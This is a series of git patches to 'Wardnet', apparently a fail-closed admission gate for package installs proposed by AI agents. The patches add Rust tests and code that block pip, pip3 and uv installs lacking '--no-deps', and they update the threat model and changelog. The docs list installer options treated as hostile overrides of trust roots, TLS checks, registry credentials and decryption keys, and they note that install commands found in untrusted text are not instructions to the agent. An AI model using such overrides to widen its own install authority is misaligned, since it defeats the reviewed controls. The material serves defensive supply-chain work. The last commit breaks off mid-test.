55224399ca0a4f20d6617fb811e4ec96cb3dcbbc Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:07:27 +0900 Subject: [PATCH 189/247] test(admission): reject unreviewed PyPI dependency expansion --- .../pypi_dependency_cardinality_contract.rs | 109 ++++++++++++++++++ 1 file changed, 109 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs diff --git a/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs new file mode 100644 index 00000000..f1c0e625 --- /dev/null +++ b/crates/agent-artifact-admission/tests/pypi_dependency_cardinality_contract.rs @@ -0,0 +1,109 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const ARTIFACT_DIGEST: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn pypi_install_without_no_deps_cannot_expand_beyond_the_reviewed_artifact_set() { + for executable in ["pip", "pip3", "uv"] { + let (policy, intent) = approved_pypi_install(executable, false); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} must not resolve undeclared transitive artifacts from an approval that binds only the declared artifact set" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "{executable} must report the missing dependency-cardinality safety flag" + ); + } +} + +#[test] +fn pypi_install_with_no_deps_preserves_the_reviewed_artifact_cardinality() { + for executable in ["pip", "pip3", "uv"] { + let (policy, intent) = approved_pypi_install(executable, true); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow, "{executable}"); + assert!(decision.reason_codes.is_empty(), "{executable}"); + } +} + +fn approved_pypi_install(executable: &str, include_no_deps: bool) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "pypi-exact-artifact-set".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let mut argv = match executable { + "uv" => vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + _ => vec![ + executable.to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + }; + argv.push("--require-hashes".to_string()); + if include_no_deps { + argv.push("--no-deps".to_string()); + } + + let intent = InstallIntent { + request_id: format!("req-pypi-cardinality-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 3069570736bdc4f1975bd698a3849b84cc4b2ba4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:08:40 +0900 Subject: [PATCH 190/247] fix(admission): model exact PyPI dependency cardinality --- .../src/dependency_cardinality.rs | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 crates/agent-artifact-admission/src/dependency_cardinality.rs diff --git a/crates/agent-artifact-admission/src/dependency_cardinality.rs b/crates/agent-artifact-admission/src/dependency_cardinality.rs new file mode 100644 index 00000000..56fb836d --- /dev/null +++ b/crates/agent-artifact-admission/src/dependency_cardinality.rs @@ -0,0 +1,25 @@ +use crate::InstallIntent; + +/// Return whether a supported PyPI install can resolve dependencies that are +/// absent from the reviewed artifact set. +pub(crate) fn misses_exact_dependency_set_guard(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + let is_pypi_install = match executable { + "pip" | "pip3" => arguments + .first() + .is_some_and(|argument| argument == "install"), + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + } + _ => false, + }; + + is_pypi_install && !arguments.iter().any(|argument| argument == "--no-deps") +} From 3eb2a3213bf276bc27997b62d0e738d856cacc7a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:08:50 +0900 Subject: [PATCH 191/247] fix(admission): enforce exact PyPI dependency set --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index fa677ac0..8e21fd77 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -4,6 +4,7 @@ mod admission; mod artifact_variant; mod audit; mod config; +mod dependency_cardinality; mod http; mod oci_transport; mod policy; @@ -35,6 +36,12 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if dependency_cardinality::misses_exact_dependency_set_guard(intent) { + if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); From 28333cd95bcfebb2066812baba43cf63cb8c226b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:09:36 +0900 Subject: [PATCH 192/247] test(admission): keep exact PyPI positives dependency-bounded --- .../tests/pypi_artifact_variant_contract.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs index 110cc8e2..f6258a12 100644 --- a/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_artifact_variant_contract.rs @@ -119,6 +119,7 @@ fn approved_pypi_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { "install".to_string(), format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), "--require-hashes".to_string(), + "--no-deps".to_string(), ]) } @@ -129,6 +130,7 @@ fn approved_uv_pypi_install() -> (AdmissionPolicy, InstallIntent) { "install".to_string(), format!("{PACKAGE_NAME}=={PACKAGE_VERSION}"), "--require-hashes".to_string(), + "--no-deps".to_string(), ]) } From ad52a4440a6aa5960e7c99ce3fe7a0b529c91fe5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:10:16 +0900 Subject: [PATCH 193/247] docs(admission): trace uv and dependency cardinality controls --- docs/doctoring/pypi-artifact-variant.md | 26 +++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/docs/doctoring/pypi-artifact-variant.md b/docs/doctoring/pypi-artifact-variant.md index e7f66ca4..a14fe4f8 100644 --- a/docs/doctoring/pypi-artifact-variant.md +++ b/docs/doctoring/pypi-artifact-variant.md @@ -1,29 +1,39 @@ # PyPI artifact and build-variant admission traceability -Verified 2026-09-04 against the current pip documentation and a local no-index/dry-run parser probe. This note records why caller-selected pip compatibility and source-build controls are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes pip, verifies downloaded bytes, or owns the hostile execution runtime. +Verified 2026-09-04 against the current pip and Astral uv documentation plus local parser/help probes. This note records why caller-selected compatibility/build controls and resolver-driven dependency expansion are security-artifact identity inputs in Wardnet. It does not claim that Wardnet executes installers, verifies downloaded bytes, or owns hostile execution isolation. ## Decision -An approved PyPI coordinate currently binds ecosystem, package name, version, registry, publisher label, SHA-256, and the exact package operand. It does not bind wheel compatibility tags, source-distribution selection, build isolation, or PEP 517 backend settings. Until the policy schema represents those dimensions explicitly, an untrusted install intent must not add pip options that can select a different distribution artifact or change source-build behavior. +An approved PyPI coordinate currently binds ecosystem, package name, version, registry, publisher label, SHA-256, and the exact package operand. It does not bind wheel compatibility tags, source-distribution selection, build isolation, PEP 517 backend settings, or an undeclared transitive dependency closure. Until the policy schema represents those dimensions explicitly, an untrusted install intent must not widen them. -Wardnet therefore fails closed as `artifact_not_approved` when submitted `pip install` / `pip3 install` argv contains `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The `-C` guard covers both separated and attached required-value spellings such as `-Cbackend-mode=unsafe`. The execution broker remains responsible for independently verifying the retrieved artifact digest/provenance before installation; an admission `allow` receipt is not execution authority. +For `pip install` / `pip3 install`, Wardnet fails closed as `artifact_not_approved` when argv carries caller-selected `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, or `-C` / `--config-settings`. The `-C` guard covers separated and attached required-value spellings such as `-Cbackend-mode=unsafe`. + +`uv pip install` is a separately supported command path, not an alias that may inherit pip approval implicitly. Wardnet therefore also fails closed on uv target/build selectors that can change the selected distribution or build path, including `--python-platform`, binary/source selection, build disabling/isolation controls, and `-C` / config-setting controls. The exact reviewed artifact set is additionally dependency-cardinality bounded: `pip`, `pip3`, and `uv pip install` must carry the exact `--no-deps` safety flag, alongside the existing hash-checking requirement, so the installer cannot resolve extra transitive artifacts absent from `InstallIntent.artifacts`. + +The downstream execution broker remains responsible for independently verifying every retrieved artifact byte sequence against the admitted digest/provenance before installation. An admission `allow` receipt is not execution authority. ## Evidence -The pip install reference states that `--platform`, `--python-version`, `--implementation`, and `--abi` change the set of compatible wheels considered during installation. It also documents `--no-binary` and `--only-binary` as controls over source versus binary distributions. `--no-build-isolation` disables the isolated environment normally used while building a modern source distribution, while `-C` / `--config-settings` passes caller-selected settings to the build backend. These controls can therefore change which bytes or build path a name/version request resolves to without changing Wardnet's current artifact coordinate. +The pip install reference documents compatibility selectors that alter the wheel set, binary/source controls that change distribution choice, build-isolation/config-setting controls that change source-build behavior, and `--no-deps` as the switch that suppresses dependency installation. pip's repeatable-install guidance recommends pinning the full dependency graph and notes that `--no-deps` provides additional assurance that nothing outside the explicitly supplied set is installed. + +Astral's current `uv pip install` reference likewise exposes `--python-platform`, `--no-binary`, `--no-build`, `--no-build-isolation`, package-scoped build controls, `-C` / `--config-setting`, and `--no-deps`. Those controls are semantically relevant even though uv's option vocabulary differs from pip's. A provider-neutral Wardnet approval therefore cannot treat `uv` as automatically safe merely because the requested package name/version matches a reviewed PyPI coordinate. -A local `python -m pip install --dry-run --no-index -Cbackend-mode=unsafe definitely-nonexistent-package-cwl-wardnet==0` parser probe reached ordinary package resolution and failed only because no matching distribution exists. That confirms pip accepts the required value attached to short `-C`; a guard that recognized only exact `-C` or `-C=...` would be bypassable. +Local parser probes confirmed pip accepts attached short `-Cbackend-mode=unsafe`, and current uv help/parser behavior accepts the guarded `uv pip install` target/build controls and `--no-deps`. Parser probing is evidence about command interpretation only; it is not a substitute for exact-head repository tests or downstream artifact verification. -This follows the same least-authority rule already applied to OCI platform selection: approval for an abstract coordinate is not approval for a caller-selected artifact variant that the policy does not encode. NIST SSDF requires software integrity and secure development controls to be explicit and verifiable; Wardnet applies that principle by refusing to infer missing artifact/build dimensions. +This follows the same least-authority rule already applied to OCI platform selection: approval for an abstract coordinate is not approval for a caller-selected artifact variant or undeclared artifact expansion that the policy does not encode. NIST SSDF requires software-integrity controls to be explicit and verifiable; Wardnet applies that principle by refusing to infer missing artifact/build/dependency authority. ## RED → GREEN -RED commit `9f11a7f90902c83f796aeda990f33425739b9c46` added hostile regressions proving that the previously accepted PyPI command could carry caller-selected wheel compatibility selectors or source-build/backend controls. Production repair `a23583a533babf256ad81e9c882759662fe33f2b` generalized the artifact-variant predicate beyond OCI, and `b3336704f346a174a7ea9fcc4b0403ef22a8c06b` routed admission through the generalized guard. +The earlier PyPI lineage established pip compatibility/build-variant rejection (`9f11a7f90902c83f796aeda990f33425739b9c46` -> `a23583a533babf256ad81e9c882759662fe33f2b` -> `b3336704f346a174a7ea9fcc4b0403ef22a8c06b`) and then closed the attached `-C` parser spelling (`aaecfe6bc6bb7cb7a26f7db7db61bfb8465f7b8b` -> `c8546f4db70dc8cbc86bedf1d050a0eb5974073f`). -A follow-up parser verification found the attached short-option spelling `-Cbackend-mode=unsafe`. RED `aaecfe6bc6bb7cb7a26f7db7db61bfb8465f7b8b` added that hostile case before production changed; GREEN `c8546f4db70dc8cbc86bedf1d050a0eb5974073f` made the short required-value guard recognize attached values without widening the long-option matcher. Exact-head hosted CI/security evidence must still execute on the resulting branch head before this candidate is integration-ready. +RED `2b78613d742a48aef1f9f0bda085a18be076219e` added hostile `uv pip install` target/build selectors that the preceding implementation did not inspect. GREEN `c655cbcc491b3be51bddaac737722888e10444ab` made PyPI artifact-variant admission distinguish pip-compatible command shapes and fail closed on uv-specific target/build authority. + +A second review found that exact approved operands still permitted pip/uv resolvers to introduce undeclared transitive artifacts. RED `55224399ca0a4f20d6617fb811e4ec96cb3dcbbc` requires missing `--no-deps` to block for pip, pip3, and uv. Production commits `3069570736bdc4f1975bd698a3849b84cc4b2ba4` and `3eb2a3213bf276bc27997b62d0e738d856cacc7a` add and route the dependency-cardinality guard; `28333cd95bcfebb2066812baba43cf63cb8c226b` updates positive artifact-variant fixtures so the allowed path remains explicitly dependency-bounded. Hosted exact-head CI/security evidence is still required before integration readiness is claimed. ## References +Astral Software, Inc. (2026). *uv CLI reference: uv pip install.* Retrieved September 4, 2026, from https://docs.astral.sh/uv/reference/cli/ + National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 pip developers. (2026). *pip install: pip documentation.* Retrieved September 4, 2026, from https://pip.pypa.io/en/latest/cli/pip_install/ From c83e235c310fe5fa049d9ee80d8caccf23e711f8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:10:52 +0900 Subject: [PATCH 194/247] docs(security): bind PyPI resolver authority --- .../security/agent-artifact-admission-threat-model.md | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index a65e43a5..99ced548 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -6,7 +6,7 @@ A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, local path, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -16,20 +16,23 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pnpm installs also require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, or decrypt images; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, or decrypt images; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/dependency-cardinality/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. ## Primary references +- Astral Software, Inc. (2026). *uv CLI reference: uv pip install.* https://docs.astral.sh/uv/reference/cli/ - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/install/ - npm, Inc. (2026). *npm exec.* https://docs.npmjs.com/cli/npm-exec/ +- pip developers. (2026). *pip install.* https://pip.pypa.io/en/latest/cli/pip_install/ +- pip developers. (2026). *Repeatable installs.* https://pip.pypa.io/en/latest/topics/repeatable-installs/ - pnpm contributors. (2026). *.pnpmfile.mjs.* https://pnpm.io/pnpmfile - pnpm contributors. (2026). *Build settings.* https://pnpm.io/settings/build - pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs @@ -40,4 +43,4 @@ SHA-256 equality proves byte identity only when the execution path independently - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ -NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications \ No newline at end of file +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications From f25e20bd2d6fd9af951ecf3f616b74afc077cc3d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:11:20 +0900 Subject: [PATCH 195/247] docs(changelog): record exact PyPI dependency admission --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ce0e3f47..c4c10800 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,8 +5,8 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. -- Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected pip resolution or build variants: `--platform`, `--python-version`, `--implementation`, `--abi`, `--no-binary`, `--only-binary`, `--prefer-binary`, `--no-build-isolation`, and `-C` / `--config-settings` fail closed as `artifact_not_approved` until policy can bind wheel compatibility tags or source-build/backend configuration explicitly. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared PyPI dependency resolution: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs require both `--ignore-scripts` and `--ignore-pnpmfile`; admitted pip, pip3, and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags`, true Boolean assignments, and bundled Boolean shorthand semantics fail closed as `artifact_not_approved` whenever they enable repository-wide mutable tag expansion. This includes `-aq` / `-qa` and assigned bundles such as `-aq=false`, where the preceding `-a` remains enabled; quiet-only shorthand and a final explicitly false all-tags shorthand such as `-qa=false` remain admissible. - Bound Podman registry transport, authentication, and image-decryption authority to reviewed policy: false forms of `--tls-verify`, caller-selected `--cert-dir` / `--authfile`, inline `--creds`, and `--decryption-key` key/passphrase material fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. Registry credentials and image-decryption secrets remain separately governed downstream deployment/secret authorities rather than untrusted install argv. @@ -15,5 +15,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, PyPI artifact/build-variant controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 4484acd2f7c9609ab16ddc68a748cac6cd49b51d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 21:31:29 +0900 Subject: [PATCH 196/247] test(admission): bind Cargo version identity --- .../tests/cargo_version_identity_contract.rs | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs diff --git a/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs new file mode 100644 index 00000000..71e7ca3a --- /dev/null +++ b/crates/agent-artifact-admission/tests/cargo_version_identity_contract.rs @@ -0,0 +1,124 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const MANIFEST_SHA256: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_SHA256: &str = + "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + +#[test] +fn cargo_version_selector_cannot_override_reviewed_artifact_version() { + for version_selector in ["--version=9.9.9", "--vers=9.9.9"] { + let artifact_argument = "cwl-example"; + let policy = approved_cargo_policy("1.2.3", artifact_argument); + let intent = approved_cargo_intent( + "1.2.3", + artifact_argument, + vec![ + 